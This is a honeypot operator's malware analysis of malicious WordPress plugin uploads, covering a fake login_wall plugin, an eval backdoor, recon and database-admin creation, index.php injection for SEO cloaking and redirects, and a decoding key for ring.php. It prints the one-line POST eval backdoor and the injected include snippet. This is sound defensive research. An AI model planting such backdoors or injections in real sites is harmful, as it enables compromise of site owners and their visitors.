Skip to content

Latest commit

 

History

History

login_wall

The Saga of login_wall.php

My WordPress honey pot caught at least seven instances of malicious Zip file plugin uploads. The changes in the Zip file contents seem to show malware development. It's entirely possible that more than seven of these similar Zip files got downloaded, but these are the only seven that I noticed.

Downloads

Downloads from 2 IP addresses, 198.98.123.140 and 107.150.127.57, over the course of 9 months. 198.98.123.140 comes from Enzu, Inc, in Henderson, Nevada. 107.150.127.57 comes from Zenlayer, in Los Angeles. Both enterprises claim to provide managed hosting, colocation and other ISP services. p0f3 identifies 107.150.127.57 as Linux of some sort. All of the HTTP requests used a User Agent string of "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)".

IP Address Earliest access Last Access Accesses
198.98.123.140 2018-03-11 06:55:46-06 2018-07-12 01:55:45-06 132
107.150.127.57 2018-08-18 15:11:32-06 2018-11-26 14:35:44-07 329

Method of Download

All seven of the Zip files got sent to my honey pot as a plugin download, so the Zip file format makes sense. Luckily, my honey pot can mimic a WordPress plugin download. It saves the downloaded file, and the name of the file sent along with the download.

Download time Original file name
2018-03-28T23:09:35.159238527-0600 login_wall_kzn.zip
2018-05-27T23:48:12.792564338-0600 login_wall_ddu.zip
2018-07-08T04:43:29.419466969-0600 login_wall_psb.zip
2018-08-25T01:41:27.842149483-0600 login_wall_rio.zip
2018-10-01T21:23:58.038930603-0600 login_wall_orx.zip
2019-01-11T19:00:01.694100974-0700 login_wall_yyc.zip
2019-01-14T21:50:30.265382754-0700 login_wall_lmv.zip

Zip file contents

Each Zip file contains 3 or 5 PHP files. The names and contents shift around.

File name Size in bytes CRC checksum
2018-10-01/pi.php 25573 149262754
2018-10-01/au.php 1622 853774596
2019-01-11/au.php 1622 853774596
2019-01-14/au.php 1622 853774596
2018-03-28/18.php 6640 1417868154
2018-05-27/18.php 6640 1417868154
2018-07-08/18.php 6640 1417868154
2018-08-25/comments.php 6640 1417868154
2018-10-01/comments.php 6640 1417868154
2019-01-11/comments.php 6640 1417868154
2019-01-14/comments.php 6640 1417868154
2018-10-01 pi.php 25573
2019-01-11/pi.php 43489 1752472245
2019-01-14/pi.php 44047 675389236
2018-03-28/login_wall.php 1614 2022104611
2018-05-27/login_wall.php 1614 2022104611
2018-07-08/login_wall.php 1614 2022104611
2018-08-25/login_wall.php 1614 2022104611
2018-10-01/login_wall.php 1614 2022104611
2019-01-11/login_wall.php 1614 2022104611
2019-01-14/login_wall.php 1614 2022104611
2018-08-25/ring.php 22523 2452142293
2018-10-01/ring.php 22523 2452142293
2019-01-11/ring.php 22523 2452142293
2019-01-14/ring.php 22523 2452142293
2018-03-28/comments.php 36 2629124137
2018-05-27/comments.php 36 2629124137
2018-07-08/comments.php 36 2629124137

Files in each download

File name CRC checksum 2018-03-28 2018-05-27 2018-07-08 2018-08-25 2018-10-01 2019-01-11 2019-01-14
login_wall.php 2022104611 X X X X X X X
comments.ph 2629124137 X X X
18.php 1417868154 X X X
comments.ph 1417868154 X X X X
ring.php 2452142293 X X X X
pi.php 149262754 X
pi.php 1752472245 X
pi.php 675389236 X
au.php 853774596 X X X

To reiterate, a file named login_wall.php appears in every download, with identical contents. Before the switch from Enzu to Zenlayer IP address, files comments.php and 18.php appeared in each download. After the switch from Enzu to Zenlayer, the contents of 18.php became comments.php, and a new file ring.php appears in the download. The final two downloads include two new files,pi.php and au.php. pi.php changes between the second-to-last and the last download.

This is the main evidence for continuity of development in this malware. The code in 18.php gets renamed comments.php, a file name that had appeared in earlier downloads. comments.php gets new contents. pi.php contents get modified after 3 days. I think it's convincing.

Invocations of downloaded files

au.php invocations happen 65 times, from 2018-09-12 to 2019-01-11. Unfortunately, my honey pot interprets the URLs used as WSO web shell invocations. I see nothing of value in the info captured by those invocations.

PHP Source Code Analysis

There are 7 pieces of PHP that look like they need to be figured out;

  • login_wall.php
  • old comments.php
  • old 18.php, new comments.php
  • ring.php
  • pi.php
  • code injected into existing PHP by pi.php
  • au.php

login_wall.php

This code appears to constitute a weak imitation of a real plugin named "loginwall". It identifies itself as "Version 1.1.0", where the real one identifies as "0.1.0". Very little of the real plugin other than the comment at the top of the file remains.

This fake login_wall.php (vs loginwall.php for the real plugin) seems to implement another login screen that would appear before the WordPress installion's own login screen. I think it has a password of "Weak Liver" (case sensitive). I found a github gist that's identical, except for it's backdoored identically to one of the stray login_wall.php files I've got in my backlog.

Old comments.php

This file is an instance of the basic PHP backdoor:

<?php @eval($_POST['-cclbat']);?>

That is, send the comments.php URL an HTTP POST with PHP code as the value of a parameter named "-cclbat", and the backdoor executes it.

Old 18.php/new comments.php

I can't puzzle this one out. The GNU file command identifies it as " Non-ISO extended-ASCII text...with LF, NEL line terminators". It appears that at least one PHP parser can parse it, so it's PHP source code. I'm just going to give up. This one is a real mess, mainly because of the character set.

Nobody has ever invoked a URL ending in /18.php, so I have no examples of how people call it.

au.php

Appears to be some kind of recon program. If invoked remotely with wp-content/ as its directory, it tries to unlink its own file, effectively deleting itself. It looks for WordPress PHP files that would contain database login information. If it finds the DB login, it creates and installs a user ID and password as database administrator. It echoes the user ID and password for the invoker to read.

Starting with a directory 3 levels up from wp-content, it finds all directories with names www/, wwwroot/, html/, public_html/ or htdocs/ directories and prints their names, along with an '*' if the PHP user ID has write permissions, or an 'x' if that user ID doesn't have write permissions. It will go 3 directories deep under the start directory. This is apparently an attempt to find out if Apache HTTP server's DocumentRoot is writeable or not.

It prints out php_uname(); then exits.

Example out put looks like this:

x /srv/http/htdocs Linux bozo 3.19.13.a-1 #1 SMP PREEMPT Sun Jan 6 22:46:18 CET 2019 x86

My test Apache HTTP does not have a writeable DocumentRoot directory.

pi.php

Three variants of this file appear. They all follow the same obfuscation scheme, and flow-of-control. They differ only in the injected code.

The pi.php file is full of obfuscated PHP. The obfuscation involves replacing characters for single-quote and backslash with character sequences _)hc and _)hl, and inserting the character sequence _)ht quite often. De-obfuscation just reverses those replacements. The resulting PHP source gets eval'd.

pi.php, just like au.php, unlinks its own file upon invocation. It really wants to run in wp-content/ directory, because it exits if wp-content/ isn't in the magic PHP __DIR__ thing.

After that, it tries to "inject" some Base64-encoded PHP source into the file index.php in its directory. The injected code looks something like this:

<?PHP
 @include_once("\x2e\x2f\x2f\x38\x32\x39\x31\x33\x31\x38");//hupus// ?>

The illegible string is a PHP string representation of ".//8291318", which pi.php creates. The "//hupus//" is a marker to keep pi.php from injecting the "include_once" into a file more than a single time. Which implies that the author(s) had some experience where the injection code worked over and over and ruined things.

I kept files from analysis of the injection process.

code injected by pi.php

My injection test captured the included code in a file 8291318. That's another @eval(base64_decode(...)) obfuscation. Deobfuscated, it's another level of encoded PHP that gets decoded and eval'ed on the fly. The encoding is the same as used in pi.php: replacing a few distinct characters with strings like ')hl', ')hc', and randomly injecting the string '_)ht'. That encoding can be reversed by running string substitutions over the encoded text.

I've pretty printed the final decoded form of the injected code so I can undestand it.

There are 3 minor variants of the injected code. The flow-of-control is extremely similar, and I'll note differences where they occur.

Bear in mind that the injected code gets executed on every invocation of and index.php URL, which is often implicit, configured to get invoked by web server when the "path" part of the URL ends in a '/'.

The 2019-01-11 and 2019-01-14 downloads carried different versions of pi.php. The later version has a few changes that look like Google cut off their analytics, and another change that looks like it puts a 3-character "extension" on the injected code's file name. The final change involves a URL changing from "http://diu.sm79.xyz/" to "http://verm.xyz/". The injected code retrieves HTML fragments from the URL, so maybe this represents an ISP shutting down one of the attacker's servers, or maybe it's just ongoing maintenance. The nature of the differences reinforce the continuity of development conclusion above. The attackers have an organized campaign, with regular code maintenance.

sitemap.xml request

If the injected code executes and the HTTP request is for sitemap.xml, the code composes a fake sitemap consisting of 100 randomly-generated URLs that it claims change daily. It probably does this to entice search engines (especially google) to check back daily. Then the code exits.

Versions A, B, C all very similar here, but the google site ID is different in all 3 of them. The following is for version A.

if the HTTP request is for google7b6ee98c55a7fa55.html, it gives back a single line response:

google-site-verification: google7b6ee98c55a7fa55.html

It looks like this is an attempt to "claim ownership of a property" in Google's web search console. The point may be to allow whoever go google7b6ee98c55a7fa55.html from Google as an ownership token to check on how various places running the injected code are doing, with respect to bad thins.

The code exits for the case of asking for google7b6ee98c55a7fa55.html.

Referer's domain name ends in ".jp" or ".kr"

If the referer domain ends in '.jp' (domain name registered in Japan, for version A) or '.kr' (domain name registered in Korea, for versions B and C) the code composes a piece of Javascript something like this:

document.location=("http://linkjs.club/a.php?j=21-65821&stratigery.com");

and packages it up in HTML <script> tags so that whoever gets refered from a '.jp' or '.kr' domain ends up redirecting to linksjs.club.

The oddity in this is that the code to generate the numbers ("21-65821" above) uses the bcmath extension, which isn't enabled by default. It would seem that using bcmul() would cost the injected code a lot of good redirects.

Versions B and C have a caching mechanism. They download the location from another URL, http://diu.sm79.xyz/data.php for B, http://verm.xyz/data.php for C. They create file in the system temp directory named sess_ + MD5 hash of URL currently invoked, and stash the location in that file.

The code exits for the case of refereral from a '.jp' or '.kr' domain.

Decide if request comes from a bot, or not.

The injected code considers an HTTP request as coming from a bot if the request arrived with a User Agent string, and that string (case insensitive) contains at least one of these substrings:

  • bot
  • crawl
  • spider
  • mediapartners
  • slurp
  • patrol

It looks like that gets it 90% of the way towards acting one way for humans, and a second way for bots.

If the request comes from a bot

It appears that the code wants to download two files from https://raw.githubusercontent.com/kqdnf/wlyph/, one a CSV file, one a text file. That github repo no longer exists, so it's hard to say. But if the repo no longer exists, why does the malware have this injection code? Parts of the lines in the CSV file get base64-decoded, apparently into HTML. It appears that the code tries to replace some special "tags" in the text file. The "tags" have names like "[image]", "[price]", "[description]". I looks to me like this code doesn't work correctly. I believe the intent is to create custom HTML on every HTTP access of index.php. The CSV and text file it would have retrieved from raw.githubusercontent.com depends on a hash value generated from the URL of the file accessed.

Version A of this code is much simpler than versions B and C, but appears not to work. Version C appears to fix some bugs in version B. There's a clear progression of code towards less buggy and more features.

If the request doesn't come from a bot

If the code decides the HTTP request does not come from a bot, it sends nothing. Supposing the injected code doesn't error out, a human driving a browser would see the regular old WordPress site.

ring.php

This code seems to have hijacked the comments, function names and style of WordPress plugin code, but turned it into a backdoor. Googling for the package ID that appears in the code ("64f722503297a845d239") yields a few hits, all obviously this same file, or a related malware. Googling for the function signature of pre_term_name gets me a stack overflow post about this malware. Looks like it's been around for a while.

2019-03-07, my WSO honey pot captured the decoding key. I've written the analysis of ring.php separately.

I'll just note that the value of HTTP parameter _f_wp you need to decode ring.php is "G0YgIaXqx".

Decoding algorithm

  1. Trim almost-base64-encoded string out of what looks like HTML with an in-line image.
  2. Turn almost-base64-encoded string into true base64-encoded material. This amounts to a couple of character substitutions.
  3. Base64-decode that material. Finally, the ciphertext.
  4. Construct a key from an HTTP parameter named _f_wp. The key ends up a 32+length of _f_wp value string, composed of the ASCII characters 'a' through 'f', and '0' through '9' because the key construction uses PHP's built in md5() function. For instance if _f_wp has the value "abc", the key ends up as a 32+3 character string "900150983cd24fb0d6963f7d28e17f72394" The key-construction also assumes that the value of _f_wp is less than 32 characters.
  5. Decode the ciphertext, the base64-decoded material from step 3.
  6. Use gzinflate on the ciphertext. Return the inflated text.

The code, rewritten with more explanatory names than in ring.php:

    $key = ...
    $i = 0;
    do {
     	$cipherbyte = $ciphertext[$i];
       	$keybyte = $key[$i];
      	$value = (ord($cipherbyte) - ord($keybyte))%256;
       	$clearbyte = chr($value);
       	$cleartext[$i] = $clearbyte;
       	$key .= $clearbyte;
       	$i++;
    } while ($i < strlen($ciphertext));

That's a variation of a Vignere cipher, where the key gets cleartext bytes appended to it as they're decoded. Given the small alphabet of the key (16 ASCII characters), a known-plaintext attack should be possible. Unfortunately, the "plaintext" is apparently output of PHP's built in gzdeflate() function, which does not have a header, or any other invariant bytes that I can see.

The do-while looping seems unusual for a PHP program. You don't encounter do-while loops very often in C, for that matter. The do-while also will cause a problem if you have zerol-length cipher text: the loop always makes a single pass through the body of the loop.

The key also has to be of at least length 1, and no more than 32 characters, otherwise the algorithm errors out.

The actual value of _f_wp used is "G0YgIaXqx". My honey pot captured it some months after I wrote this.